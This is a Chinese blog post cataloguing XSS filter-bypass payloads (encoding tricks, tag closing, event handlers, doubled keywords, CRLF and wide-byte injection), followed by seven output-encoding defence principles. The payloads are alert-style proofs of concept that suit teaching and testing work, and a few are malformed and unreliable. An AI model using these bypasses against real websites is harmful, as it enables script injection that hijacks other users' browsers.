首页 > 技术文章 > XSS绕过与防御总结

joy-nick 2016-08-15 21:48 原文

跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的特殊目的。

0x01 XSS的分类

  • 反射型(非持久型)
  • 存储型(持久型)
  • DOM型

具体的一些介绍与简单的实例就不做详述了,本文主要介绍的是XSS的绕过技巧与防御。

0x02 XSS的绕过

大小写绕过

  	<ScRIpT>alert('123')</sCRIpT>

编码绕过

1.十六进制编码

2.jsfuck编码

3.url编码

4.unicode编码

	<0x736372697074>alert('123')</0x736372697074>
	<img src="1" onerror="alert&#x28;1&#x29;"> 
	'被过滤,我们可以将'写为 &#x27
	将"/"转义为"&sol;"

绕过magic_quotes_gpc

	<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59)</script> 

闭合标签

	"><script>alert(/123/)</script>

	</script><script>alert(1)</script> 

标签绕过

	<img src="x" onerror="alert(1)">
	<button onclick="javascript:alert('xss')>XSS</button">
	<title><img a="</title><img/src=1 onerror=alert(1)//">
	"onsubmit=javascript:alert(1)%20name="a

其他符号绕过

	%0aalert(1);   %0a  换行符
	/**/			替换空格
	%00				截断

双字母绕过

	<img ononerrorerror="123">
	<script>alalertert(123)</script>

宽字节绕过

	gbxxxx系列的编码,那么我们尝试一下宽字节  %c0 %bf  %5c

其他事件绕过

	onload
	onclick
	onerror
	prompt
	confirm
	onmousemove

CRLF injection绕过

CRLF是”回车 + 换行”(\r\n)的简称。
http://www.xxx.com%0d%0a%0d%0a+xss代码

<svg/onload=prompt(1)>

0x03 XSS的防御

  • 原则1:“Secure By Default”原则:不要往HTML页面中插入任何不可信数据

  • 原则2:在将不可信数据插入到HTML标签之间时,对这些数据进行HTML Entity编码

  • 原则3:在将不可信数据插入到HTML属性里时,对这些数据进行HTML属性编码

  • 原则4:在将不可信数据插入到SCRIPT里时,对这些数据进行SCRIPT编码

  • 原则5:在将不可信数据插入到Style属性里时,对这些数据进行CSS编码

  • 原则6:在将不可信数据插入到HTML URL里时,对这些数据进行URL编码

  • 原则7:使用富文本时,使用XSS规则引擎进行编码过滤

欢迎访问独立博客joy_nick

推荐阅读